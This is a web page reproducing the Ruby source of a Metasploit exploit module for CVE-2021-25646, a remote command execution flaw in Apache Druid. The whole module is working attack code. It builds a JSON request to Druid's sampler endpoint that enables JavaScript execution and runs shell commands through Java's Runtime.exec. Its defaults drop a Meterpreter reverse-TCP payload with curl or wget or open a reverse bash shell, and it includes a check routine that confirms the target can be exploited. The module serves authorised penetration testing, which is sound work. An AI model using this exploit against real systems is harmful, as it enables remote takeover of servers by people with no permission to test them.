Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_druid_js_rce.rb
31903 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',
18
'Description' => %q{
19
Apache Druid includes the ability to execute user-provided JavaScript code embedded in
20
various types of requests; however, that feature is disabled by default.
21
22
In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request
23
that both enables the JavaScript code-execution feature and executes the supplied code all
24
at once, allowing for code execution on the server with the privileges of the Druid Server process.
25
More critically, authentication is not enabled in Apache Druid by default.
26
27
Tested on the following Apache Druid versions:
28
29
* 0.15.1
30
* 0.16.0-iap8
31
* 0.17.1
32
* 0.18.0-iap3
33
* 0.19.0-iap7
34
* 0.20.0-iap4.1
35
* 0.20.0
36
* 0.21.0-iap3
37
},
38
'Author' => [
39
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery
40
'je5442804' # Metasploit module
41
],
42
'References' => [
43
['CVE', '2021-25646'],
44
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],
45
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']
46
],
47
'DisclosureDate' => '2021-01-21',
48
'License' => MSF_LICENSE,
49
'Targets' => [
50
[
51
'Linux (dropper)', {
52
'Platform' => 'linux',
53
'Type' => :linux_dropper,
54
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },
55
'CmdStagerFlavor' => %w[curl wget],
56
'Arch' => [ARCH_X86, ARCH_X64]
57
}
58
],
59
[
60
'Unix (in-memory)', {
61
'Platform' => 'unix',
62
'Arch' => ARCH_CMD,
63
'Type' => :unix_memory,
64
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
65
}
66
],
67
],
68
'DefaultTarget' => 0,
69
'Privileged' => false,
70
'Notes' => {
71
'Stability' => [CRASH_SAFE],
72
'Reliability' => [REPEATABLE_SESSION],
73
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
74
}
75
)
76
)
77
78
register_options([
79
Opt::RPORT(8888),
80
OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])
81
])
82
end
83
84
def execute_command(cmd, _opts = {})
85
gencmd = '/bin/sh`@~-c`@~' + cmd
86
genvar = Rex::Text.rand_text_alpha(8..12)
87
genname = Rex::Text.rand_text_alpha(8..12)
88
vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")
89
post_data = {
90
type: 'index',
91
spec: {
92
ioConfig: {
93
type: 'index',
94
firehose: {
95
type: 'local',
96
baseDir: '/etc',
97
filter: 'passwd'
98
}
99
},
100
dataSchema: {
101
dataSource: Rex::Text.rand_text_alpha(8..12),
102
parser: {
103
parseSpec: {
104
format: 'javascript',
105
timestampSpec: {},
106
dimensionsSpec: {},
107
function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",
108
"": {
109
enabled: 'true'
110
}
111
}
112
}
113
}
114
},
115
samplerConfig: {
116
numRows: 10
117
}
118
}.to_json
119
120
send_request_cgi({
121
'method' => 'POST',
122
'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),
123
'ctype' => 'application/json',
124
'headers' => {
125
'Accept' => 'application/json, text/plain, */*'
126
},
127
'data' => post_data
128
})
129
end
130
131
def check
132
genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')
133
134
vprint_status("Attempting to execute 'echo #{genecho}' on the target.")
135
res = execute_command("echo #{genecho}")
136
unless res
137
return CheckCode::Unknown('Connection failed.')
138
end
139
140
unless res.code == 200
141
return CheckCode::Safe
142
end
143
144
if res.body.include?(genecho)
145
return CheckCode::Vulnerable
146
end
147
148
CheckCode::Unknown('Target does not seem to be running Apache Druid.')
149
end
150
151
def exploit
152
case target['Type']
153
when :linux_dropper
154
execute_cmdstager
155
when :unix_memory
156
execute_command(payload.encoded)
157
end
158
end
159
160
end
161
162